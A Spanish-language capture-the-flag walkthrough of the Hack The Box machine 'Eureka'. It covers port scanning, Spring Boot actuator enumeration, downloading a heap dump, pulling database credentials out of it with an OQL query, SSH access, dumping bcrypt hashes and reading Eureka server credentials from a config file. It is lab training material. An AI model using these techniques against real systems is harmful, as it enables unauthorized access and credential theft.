Eureka corre una aplicacion SpringBoot donde obtuvimos un volcado de memoria que contenia credenciales para acceso inicial. Descubrimos Netflix Eureka donde realizamos Traffic Hijack a una instancia que aceptaba credenciales desde un cronjob, estas permitieron el acceso a un segundo usuario. Finalmente escalamos privilegios tras analizar un script en bash ejecutado por root.
Nombre
Eureka
OS
Linux
Puntos
40
Dificultad
Hard
Fecha de Salida
2025-04-26
IP
None
Maker
Spectra199
Rated
{
"type": "bar",
"data": {
"labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
"datasets": [{
"label": "User Rated Difficulty",
"data": [21, 11, 56, 94, 157, 168, 250, 86, 18, 16],
"backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
}]
},
"options": {
"scales": {
"xAxes": [{"display": false}],
"yAxes": [{"display": false}]
},
"legend": {"labels": {"fontColor": "white"}},
"responsive": true
}
}
Recon
nmap
nmap
muestra multiples puertos abiertos: http (80, 8087) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Nmap 7.95 scan initiated Fri May 2 00:19:23 2025 as: /usr/lib/nmap/nmap --privileged -p22,80,8761 -sV -sC -oN nmap_scan 10.10.11.66
Nmap scan report for furni.htb ( 10.10.11.66)
Host is up ( 0.078s latency) .
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 ( Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 ( RSA)
| 256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b ( ECDSA)
| _ 256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 ( ED25519)
80/tcp open http nginx 1.18.0 ( Ubuntu)
| _http-server-header: nginx/1.18.0 ( Ubuntu)
| _http-title: Furni | Home
8761/tcp open http Apache Tomcat ( language: en)
| _http-title: Site doesn' t have a title.
| http-auth:
| HTTP/1.1 401 \x 0D
| _ Basic realm = Realm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 2 00:19:37 2025 -- 1 IP address (1 host up) scanned in 14.88 seconds
Web Site
El sitio web nos redirige al dominio furni.htb
el cual agregamos al archivo /etc/hosts.
1
2
3
4
5
6
7
8
9
10
❯ curl -sI 10.10.11.66
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 ( Ubuntu)
Date: Thu, 01 May 2025 22:40:17 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://furni.htb/
❯
El sitio es una tienda en linea.
Se muestra una lista de productos disponibles.
Existe formulario de registro y login.
Un blog con multiples entradas y la posibilidad de realizar comentarios.
Puerto 8087
En el puerto 8087 son necesarias credenciales.
Directory Brute Forcing
feroxbuster
muestra los recursos estaticos del sitio.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
❯ feroxbuster -u http://furni.htb/ -w $CM
___ ___ __ __ __ __ __ ___
| __ | __ | __) | __) | / ` / \ \_ / | | \ | __
| | ___ | \ | \ | \_ _, \_ _/ / \ | | __/ | ___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://furni.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout ( secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [ GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 2w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 73l 157w 1809c http://furni.htb/static/js/custom.js
200 GET 9l 104w 1201c http://furni.htb/static/images/support.svg
200 GET 3l 50w 2177c http://furni.htb/static/css/tiny-slider.css
200 GET 4l 23w 244c http://furni.htb/static/images/cross.svg
404 GET 7l 12w 162c http://furni.htb/static/images/favicon.png
200 GET 6l 62w 800c http://furni.htb/static/images/return.svg
200 GET 6l 79w 1002c http://furni.htb/static/images/truck.svg
200 GET 5l 73w 761c http://furni.htb/static/images/bag.svg
200 GET 10l 88w 890c http://furni.htb/static/images/envelope-outline.svg
200 GET 4l 64w 555c http://furni.htb/static/images/user.svg
200 GET 5l 93w 814c http://furni.htb/static/images/cart.svg
200 GET 711l 2053w 20707c http://furni.htb/static/css/style.css
200 GET 2l 517w 31737c http://furni.htb/static/js/tiny-slider.js
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 6l 1029w 78080c http://furni.htb/static/js/bootstrap.bundle.min.js
403 GET 7l 10w 162c http://furni.htb/static/images/
403 GET 7l 10w 162c http://furni.htb/static/
200 GET 466l 2775w 216716c http://furni.htb/static/images/product-3.png
200 GET 331l 2201w 186760c http://furni.htb/static/images/product-1.png
200 GET 6l 2003w 163826c http://furni.htb/static/css/bootstrap.min.css
403 GET 7l 10w 162c http://furni.htb/static/css/
200 GET 1411l 7451w 619723c http://furni.htb/static/images/couch.png
403 GET 7l 10w 162c http://furni.htb/static/js/
200 GET 513l 2968w 364489c http://furni.htb/static/images/img-grid-2.jpg
200 GET 28l 83w 1550c http://furni.htb/login
200 GET 899l 5913w 667689c http://furni.htb/static/images/post-2.jpg
200 GET 569l 3442w 284339c http://furni.htb/static/images/product-2.png
200 GET 535l 3806w 414946c http://furni.htb/static/images/img-grid-3.jpg
200 GET 734l 4989w 510519c http://furni.htb/static/images/post-1.jpg
200 GET 894l 5474w 514630c http://furni.htb/static/images/post-3.jpg
200 GET 277l 1401w 95869c http://furni.htb/static/images/person.png
302 GET 0l 0w 0c http://furni.htb/cart = > http://furni.htb/login
200 GET 449l 1140w 14351c http://furni.htb/about
200 GET 432l 1135w 14173c http://furni.htb/services
200 GET 1078l 6167w 487968c http://furni.htb/static/images/sofa.png
200 GET 303l 829w 10738c http://furni.htb/contact
301 GET 7l 12w 178c http://furni.htb/static/images/blogs = > http://furni.htb/static/images/blogs/
200 GET 3096l 18300w 1972271c http://furni.htb/static/images/img-grid-1.jpg
200 GET 1393l 6087w 705961c http://furni.htb/static/images/why-choose-us-img.jpg
200 GET 352l 912w 12412c http://furni.htb/shop
200 GET 398l 1025w 13568c http://furni.htb/blog
200 GET 145l 793w 10004c http://furni.htb/blog/1
200 GET 136l 711w 8823c http://furni.htb/blog/2
200 GET 136l 708w 8830c http://furni.htb/blog/3
301 GET 7l 12w 178c http://furni.htb/static/css = > http://furni.htb/static/css/
200 GET 161l 1545w 135044c http://furni.htb/static/images/person_3.jpg
200 GET 207l 1590w 127637c http://furni.htb/static/images/person_2.jpg
200 GET 242l 1514w 153102c http://furni.htb/static/images/person_1.jpg
301 GET 7l 12w 178c http://furni.htb/static/images = > http://furni.htb/static/images/
301 GET 7l 12w 178c http://furni.htb/static/js = > http://furni.htb/static/js/
200 GET 549l 1497w 18854c http://furni.htb/
301 GET 7l 12w 178c http://furni.htb/static/images/products = > http://furni.htb/static/images/products/
200 GET 0l 0w 0c http://furni.htb/blog/5
200 GET 0l 0w 0c http://furni.htb/blog/6
200 GET 734l 4989w 510519c http://furni.htb/static/images/blogs/3.jpg
200 GET 894l 5474w 514630c http://furni.htb/static/images/blogs/5.jpg
200 GET 136l 567w 8167c http://furni.htb/blog/4
200 GET 535l 3080w 225469c http://furni.htb/static/images/blogs/2.jpg
200 GET 1013l 5858w 458359c http://furni.htb/static/images/blogs/6.jpg
200 GET 899l 5913w 667689c http://furni.htb/static/images/blogs/4.jpg
200 GET 2349l 13251w 827047c http://furni.htb/static/images/blogs/1.jpg
302 GET 0l 0w 0c http://furni.htb/checkout = > http://furni.htb/login
302 GET 0l 0w 0c http://furni.htb/comment = > http://furni.htb/login
500 GET 1l 1w 73c http://furni.htb/error
200 GET 21l 64w 1159c http://furni.htb/logout
405 GET 1l 3w 114c http://furni.htb/process_register
200 GET 254l 613w 9028c http://furni.htb/register
302 GET 0l 0w 0c http://furni.htb/cart/add = > http://furni.htb/login
200 GET 569l 3442w 284339c http://furni.htb/static/images/products/2.png
200 GET 578l 3061w 232386c http://furni.htb/static/images/products/8.png
200 GET 607l 3098w 254672c http://furni.htb/static/images/products/6.png
200 GET 1078l 6167w 487968c http://furni.htb/static/images/products/5.png
200 GET 591l 3219w 219057c http://furni.htb/static/images/products/7.png
200 GET 486l 2338w 210208c http://furni.htb/static/images/products/3.png
200 GET 331l 2201w 186760c http://furni.htb/static/images/products/1.png
200 GET 466l 2775w 216716c http://furni.htb/static/images/products/4.png
La pagina /error
muestra un mensaje relacionado a SpringBoot similar a HTB - Cozyhosting .
SpringBoot
Actuators
Realizamos una enumeracion de actuators con ffuf
especificando un wordlist en referencia a la documentacion . Encontramos trece endpoints.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
❯ ffuf -w actuators-spring-boot-wordlist -u http://furni.htb/FUZZ
/'___\ /' ___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://furni.htb/FUZZ
:: Wordlist : FUZZ: /home/kali/htb/eureka/actuators-spring-boot-wordlist
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
actuator [Status: 200, Size: 2129, Words: 1, Lines: 1, Duration: 168ms]
:: Progress: [27/27] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
❯ ffuf -w actuators-spring-boot-wordlist -u http://furni.htb/actuator/FUZZ
/' ___\ /'___\ /' ___\
/\ \_ _/ /\ \_ _/ __ __ /\ \_ _/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_ / \ \ \_ /\ \ \_\ \ \ \ \_ /
\ \_\ \ \_\ \ \_ ___/ \ \_\
\/ _/ \/ _/ \/ ___/ \/ _/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://furni.htb/actuator/FUZZ
:: Wordlist : FUZZ: /home/kali/htb/eureka/actuators-spring-boot-wordlist
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
heapdump [ Status: 200, Size: 80165337, Words: 0, Lines: 0, Duration: 0ms]
metrics [ Status: 200, Size: 3356, Words: 1, Lines: 1, Duration: 112ms]
health [ Status: 200, Size: 15, Words: 1, Lines: 1, Duration: 395ms]
info [ Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 403ms]
mappings [ Status: 200, Size: 35560, Words: 362, Lines: 1, Duration: 401ms]
caches [ Status: 200, Size: 20, Words: 1, Lines: 1, Duration: 1215ms]
scheduledtasks [ Status: 200, Size: 54, Words: 1, Lines: 1, Duration: 1214ms]
env [ Status: 200, Size: 6307, Words: 94, Lines: 1, Duration: 1214ms]
loggers [ Status: 200, Size: 101945, Words: 1, Lines: 1, Duration: 1214ms]
beans [ Status: 200, Size: 202254, Words: 913, Lines: 1, Duration: 888ms]
conditions [ Status: 200, Size: 184221, Words: 5691, Lines: 1, Duration: 889ms]
threaddump [ Status: 200, Size: 568537, Words: 5, Lines: 1, Duration: 1213ms]
configprops [ Status: 200, Size: 37195, Words: 43, Lines: 1, Duration: 5615ms]
:: Progress: [ 27/27] :: Job [ 1/1] :: 4 req/sec :: Duration: [ 0:00:06] :: Errors: 0 ::
❯
Mappings
/mappings
muestra todas las “rutas” definidas para la aplicacion.
Expand me - mappings
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
❯ curl -s http://furni.htb/actuator/mappings | jq '.contexts.Furni.mappings.dispatcherServlets.dispatcherServlet[] | {handler: .handler,
predicate: .predicate,
name: .details.handlerMethod.name,
methods: .details.requestMappingConditions.methods,
patterns: .details.requestMappingConditions.patterns
}'
# [... snip ...]
{
"handler" : "com.eureka.Furni.Controller.CartController#viewCartPage(Model)" ,
"predicate" : "{GET [/cart]}" ,
"name" : "viewCartPage" ,
"methods" : [
"GET"
] ,
"patterns" : [
"/cart"
]
}
{
"handler" : "com.eureka.Furni.Controller.BlogController#getAllBlogs(Model)" ,
"predicate" : "{GET [/blog]}" ,
"name" : "getAllBlogs" ,
"methods" : [
"GET"
] ,
"patterns" : [
"/blog"
]
}
{
"handler" : "com.eureka.Furni.Controller.WebController#viewContactPage(Model)" ,
"predicate" : "{GET [/contact]}" ,
"name" : "viewContactPage" ,
"methods" : [
"GET"
] ,
"patterns" : [
"/contact"
]
}
{
"handler" : "com.eureka.Furni.Controller.WebController#viewHomePage(Model)" ,
"predicate" : "{GET [/]}" ,
"name" : "viewHomePage" ,
"methods" : [
"GET"
] ,
"patterns" : [
"/"
]
}
{
"handler" : "org.springframework.boot.autoconfigure.web.servlet.error.BasicErrorController#errorHtml(HttpServletRequest, HttpServletResponse)" ,
"predicate" : "{ [/error], produces [text/html]}" ,
"name" : "errorHtml" ,
"methods" : [] ,
"patterns" : [
"/error"
]
}
{
"handler" : "com.eureka.Furni.Controller.WebController#viewSubscribeThankyouPage(Model)" ,
"predicate" : "{GET [/subscribe/thankyou]}" ,
"name" : "viewSubscribeThankyouPage" ,
"methods" : [
"GET"
] ,
"patterns" : [
"/subscribe/thankyou"
]
}
{
"handler" : "com.eureka.Furni.Controller.BlogController#visitBlog(Model, Long)" ,
"predicate" : "{GET [/blog/{blogId}]}" ,
"name" : "visitBlog" ,
"methods" : [
"GET"
] ,
"patterns" : [
"/blog/{blogId}"
]
}
{
"handler" : "com.eureka.Furni.Controller.WebController#processContactPage(Model, String, String, String, String)" ,
"predicate" : "{POST [/contact]}" ,
"name" : "processContactPage" ,
"methods" : [
"POST"
] ,
"patterns" : [
"/contact"
]
}
{
"handler" : "com.eureka.Furni.Controller.WebController#viewCheckoutThankyouPage(Model)" ,
"predicate" : "{GET [/checkout/thankyou]}" ,
"name" : "viewCheckoutThankyouPage" ,
"methods" : [
"GET"
] ,
"patterns" : [
"/checkout/thankyou"
]
}
{
"handler" : "com.eureka.Furni.Controller.CommentController#addComment(Long, String)" ,
"predicate" : "{POST [/comment/add/{blogId}]}" ,
"name" : "addComment" ,
"methods" : [
"POST"
] ,
"patterns" : [
"/comment/add/{blogId}"
]
}
{
"handler" : "com.eureka.Furni.Controller.CartController#addToCart(Long)" ,
"predicate" : "{GET [/cart/add/{furnitureId}]}" ,
"name" : "addToCart" ,
"methods" : [
"GET"
] ,
"patterns" : [
"/cart/add/{furnitureId}"
]
}
{
"handler" : "com.eureka.Furni.Controller.CartController#viewCheckoutPage(Model)" ,
"predicate" : "{GET [/checkout]}" ,
"name" : "viewCheckoutPage" ,
"methods" : [
"GET"
] ,
"patterns" : [
"/checkout"
]
}
{
"handler" : "com.eureka.Furni.Controller.CartController#checkoutProceed(String, String, String, String, String, String, String, String)" ,
"predicate" : "{POST [/checkout/proceed]}" ,
"name" : "checkoutProceed" ,
"methods" : [
"POST"
] ,
"patterns" : [
"/checkout/proceed"
]
}
{
"handler" : "com.eureka.Furni.Controller.WebController#viewServicesPage(Model)" ,
"predicate" : "{GET [/services]}" ,
"name" : "viewServicesPage" ,
"methods" : [
"GET"
] ,
"patterns" : [
"/services"
]
}
{
"handler" : "org.springframework.boot.autoconfigure.web.servlet.error.BasicErrorController#error(HttpServletRequest)" ,
"predicate" : "{ [/error]}" ,
"name" : "error" ,
"methods" : [] ,
"patterns" : [
"/error"
]
}
{
"handler" : "com.eureka.Furni.Controller.WebController#viewAboutPage(Model)" ,
"predicate" : "{GET [/about]}" ,
"name" : "viewAboutPage" ,
"methods" : [
"GET"
] ,
"patterns" : [
"/about"
]
}
{
"handler" : "com.eureka.Furni.Controller.FurnitureController#viewShopPage(Model, String)" ,
"predicate" : "{GET [/shop]}" ,
"name" : "viewShopPage" ,
"methods" : [
"GET"
] ,
"patterns" : [
"/shop"
]
}
{
"handler" : "ResourceHttpRequestHandler [classpath [META-INF/resources/webjars/]]" ,
"predicate" : "/webjars/**" ,
"name" : null,
"methods" : null,
"patterns" : null
}
{
"handler" : "ResourceHttpRequestHandler [classpath [META-INF/resources/], classpath [resources/], classpath [static/], classpath [public/], ServletContext [/]]" ,
"predicate" : "/**" ,
"name" : null,
"methods" : null,
"patterns" : null
}
❯
HeapDump
/heapdump
realiza un volcado de memoria retornando un archivo, como se describe:
Returns a heap dump file. On a HotSpot JVM, an HPROF-format file is returned. On an OpenJ9 JVM, a PHD-format file is returned.
Descargamos el archivo, file
muestra el formato HPROF.
1
2
3
4
5
6
7
❯ curl http://furni.htb/actuator/heapdump -o heapdump_furni
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 76.4M 100 76.4M 0 0 3655k 0 0:00:21 0:00:21 --:--:-- 4853k
❯ file heapdump_furni
heapdump_furni: Java HPROF dump, created Thu Aug 1 18:29:32 2024
❯
HeapDump Analysis
Utilizamos Memory Analyzer (MAT) para abrir y analizar el archivo. Ejecutamos MemoryAnalyzer
.
1
2
3
❯ ./MemoryAnalyzer
VMware: No 3D enabled ( 0, Success) .
libEGL warning: egl: failed to create dri2 screen
Tras la carga del archivo, seleccionamos la primera opcion.
Este nos generaria un reporte con informacion del archivo.
Vemos informacion sobre el archivo y sistema.
Utilizamos la interfaz de OQL (Object Query Language) para ejecucion de un query para busqueda de strings que contengan password
.
1
SELECT s FROM java . lang . String s WHERE s . toString (). contains ( "password" )
Entre ellos encontramos la conexion y credenciales de acceso a la base de datos MySQL.
1
jdbc:mysql://localhost:3306/Furni_WebApp_DB\u ffa7{ password = 0sc@r190_S0l!dP@sswd, user = oscar190}
User - oscar190
Utilizamos estas credenciales por el servicio SSH logrando el acceso.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
❯ ssh oscar190@10.10.11.66
oscar190@10.10.11.66' s password:
Welcome to Ubuntu 20.04.6 LTS ( GNU/Linux 5.4.0-214-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu 10 Apr 2025 07:41:57 AM UTC
System load: 0.04
Usage of /: 84.1% of 8.02GB
Memory usage: 44%
Swap usage: 0%
Processes: 248
Users logged in: 1
IPv4 address for eth0: 10.129.232.19
IPv6 address for eth0: dead:beef::250:56ff:feb9:f97
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri May 2 01:33:02 2025 from 10.10.15.38
oscar190@eureka:~$ export TERM = xterm
oscar190@eureka:~$ whoami; id; pwd
oscar190
uid = 1000( oscar190) gid = 1001( oscar190) groups = 1001( oscar190)
/home/oscar190
oscar190@eureka:~$
Database
Utilizamos las credenciales con mysql, encontramos usuarios con su respectivo hash en la base de datos Furni_WebApp_DB
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
oscar190@eureka:~$ mysql -u oscar190 -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g .
Your MariaDB connection id is 300
Server version: 10.3.39-MariaDB-0ubuntu0.20.04.2 Ubuntu 20.04
Copyright ( c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [( none)] > show databases;
+--------------------+
| Database |
+--------------------+
| Furni_WebApp_DB |
| information_schema |
+--------------------+
2 rows in set ( 0.001 sec)
MariaDB [( none)] > use Furni_WebApp_DB;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [ Furni_WebApp_DB] > show tables;
+---------------------------+
| Tables_in_Furni_WebApp_DB |
+---------------------------+
| SPRING_SESSION |
| SPRING_SESSION_ATTRIBUTES |
| blogs |
| cart |
| cart_items |
| cart_product |
| cart_product_seq |
| cart_seq |
| carts |
| category |
| category_seq |
| comment |
| customer |
| customer_seq |
| furniture |
| product |
| product_id |
| product_seq |
| users |
+---------------------------+
19 rows in set ( 0.001 sec)
MariaDB [ Furni_WebApp_DB] > describe users;
+------------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+-------------+------+-----+---------+----------------+
| id | bigint( 20) | NO | PRI | NULL | auto_increment |
| first_name | varchar( 20) | NO | | NULL | |
| last_name | varchar( 20) | NO | | NULL | |
| email | varchar( 45) | NO | UNI | NULL | |
| password | varchar( 64) | NO | | NULL | |
| is_staff | tinyint( 1) | NO | | 0 | |
+------------+-------------+------+-----+---------+----------------+
6 rows in set ( 0.001 sec)
MariaDB [ Furni_WebApp_DB] > select first_name,email,password,is_staff from users;
+------------+-------------------------+--------------------------------------------------------------+----------+
| first_name | email | password | is_staff |
+------------+-------------------------+--------------------------------------------------------------+----------+
| Kamel | k.mossab110@eloquia.htb | $2 a$10$J4yap5ZxviliZO9jBCuSdeD .7LzL3/njVpNhnG85HCcwA05ulUrzW | 0 |
| Lorra | lorra199@gmail.com | $2 a$10$DgUDWpxipW2Yt7UcKxzvweB7FXoV /LFxlJG8yuL56NyUMMLr5uBuK | 0 |
| Martin | mwood@gmail.com | $2 a$10$3 LDYl5QEt4K4u8vLWMGH8eDA/fNKVquhHNbyijaDzzueKHAwi6bHO | 0 |
| Roberto | roberto0xd@outlook.com | $2 a$10$4 TLCSlEfYrNDFfPDQ5z4p.S6gImA8NKAGn2tyqLJyG71l9iQoTDhu | 0 |
| Miranda | miranda.wise@furni.htb | $2 a$10$T4L873JALnbXH10tq .mEbOOVYmZPLlBBSeD1h2hqAeX6nbTDXMyqm | 1 |
| Oscar | oscar190@furni.htb | $2 a$10$ye9a40a7KOyBJKUai2qxY .fcfVQGlFTM3SVSVcn82wxQf/2zYPq96 | 1 |
| Nya | nya190@furni.htb | $2 a$10$GZQOgzb4N1xVs3ALpnuqGeId5 /mZLL8pv5GlkRzJfxdFxO/JIkIaK | 1 |
| lucas | logok12976@pelung.com | $2 a$10$J93xmU0 .yP0/oZmoV9K4u.XvYHtl.kunSX9xoe2RACqKcitM4OjlC | 0 |
+------------+-------------------------+--------------------------------------------------------------+----------+
8 rows in set ( 0.000 sec)
MariaDB [ Furni_WebApp_DB] >
El hash es tipo bcrypt, intentamos crackear el hash de miranda-wise pero despues de un cierto tiempo nos saltamos los hashes.
Expand me
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
PS C:\U sers\s ckull\D ocuments\h ashcat-6.2.6> .\h ashcat.exe -m 3200 ../hash/hash_miranda_eureka rockyou.txt
hashcat ( v6.2.6) starting
[ ... snip ...]
[ s] tatus [ p] ause [ b] ypass [ c] heckpoint [ f] inish [ q] uit = >
Session..........: hashcat
Status...........: Running
Hash.Mode........: 3200 ( bcrypt $2 *$, Blowfish ( Unix))
Hash.Target......: $2 a$10$T4L873JALnbXH10tq .mEbOOVYmZPLlBBSeD1h2hqAeX6...DXMyqm
Time.Started.....: Tue May 06 18:59:28 2025 ( 40 secs)
Time.Estimated...: Tue May 06 21:47:33 2025 ( 2 hours, 47 mins)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File ( rockyou.txt)
Guess.Queue......: 1/1 ( 100.00%)
Speed.#1.........: 1422 H/s ( 6.20ms) @ Accel:1 Loops:16 Thr:24 Vec:1
Recovered........: 0/1 ( 0.00%) Digests ( total) , 0/1 ( 0.00%) Digests ( new)
Progress.........: 56448/14344385 ( 0.39%)
Rejected.........: 0/56448 ( 0.00%)
Restore.Point....: 56448/14344385 ( 0.39%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1008-1024
Candidate.Engine.: Device Generator
Candidates.#1....: pretty09 -> donaldson
Hardware.Mon.#1..: Temp: 41c Fan: 0% Util: 98% Core:2775MHz Mem:8250MHz Bus:8
[ s] tatus [ p] ause [ b] ypass [ c] heckpoint [ f] inish [ q] uit = > q
Session..........: hashcat
Status...........: Quit
Hash.Mode........: 3200 ( bcrypt $2 *$, Blowfish ( Unix))
Hash.Target......: $2 a$10$T4L873JALnbXH10tq .mEbOOVYmZPLlBBSeD1h2hqAeX6...DXMyqm
Time.Started.....: Tue May 06 18:59:28 2025 ( 1 hour, 44 mins)
Time.Estimated...: Tue May 06 21:49:14 2025 ( 1 hour, 5 mins)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File ( rockyou.txt)
Guess.Queue......: 1/1 ( 100.00%)
Speed.#1.........: 1411 H/s ( 6.23ms) @ Accel:1 Loops:16 Thr:24 Vec:1
Recovered........: 0/1 ( 0.00%) Digests ( total) , 0/1 ( 0.00%) Digests ( new)
Progress.........: 8812942/14344385 ( 61.44%)
Rejected.........: 142/8812942 ( 0.00%)
Restore.Point....: 8812942/14344385 ( 61.44%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:240-256
Candidate.Engine.: Device Generator
Candidates.#1....: damily123 -> damianluuk
Hardware.Mon.#1..: Temp: 53c Fan: 0% Util: 98% Core:2760MHz Mem:8250MHz Bus:8
Started: Tue May 06 18:59:23 2025
Stopped: Tue May 06 20:43:55 2025
PS C:\U sers\s ckull\D ocuments\h ashcat-6.2.6>
Eureka Server
En el directorio /var/www/web
encontramos multiples aplicaciones, entre ellas Eureka Server la cual esta corriendo en el puerto 8781, se muestran las credenciales de acceso.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
oscar190@eureka:/var/www/web$ ll
total 28
drwxrwxr-x 7 www-data developers 4096 Mar 18 21:19 ./
drwxr-xr-x 4 root root 4096 Apr 10 07:25 ../
drwxrwxr-x 6 www-data developers 4096 Mar 18 21:17 cloud-gateway/
drwxrwxr-x 5 www-data developers 4096 Aug 5 2024 Eureka-Server/
drwxrwxr-x 5 www-data developers 4096 Aug 5 2024 Furni/
drwxrwxr-x 6 www-data developers 4096 Jul 23 2024 static/
drwxrwxr-x 6 www-data developers 4096 Mar 19 22:07 user-management-service/
oscar190@eureka:/var/www/web$
oscar190@eureka:/var/www/web$ cat Eureka-Server/src/main/resources/application.yaml
spring:
application:
name: "Eureka Server"
security:
user:
name: EurekaSrvr
password: 0scarPWDisTheB3st
server:
port: 8761
address: 0.0.0.0
eureka:
client:
register-with-eureka: false
fetch-registry: false
oscar190@eureka:/var/www/web$
Tras acceder se listan instancias registradas.
El archivo pom.xml
muestra las dependencias de la aplicacion se lista: spring-cloud-starter-netflix-eureka-server .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
oscar190@eureka:/var/www/web$ cat Eureka-Server/pom.xml
<?xml version = "1.0" encoding = "UTF-8" ?>
<project xmlns = "http://maven.apache.org/POM/4.0.0" xmlns:xsi= "http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation= "http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd" >
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>3.3.1</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.eureka</groupId>
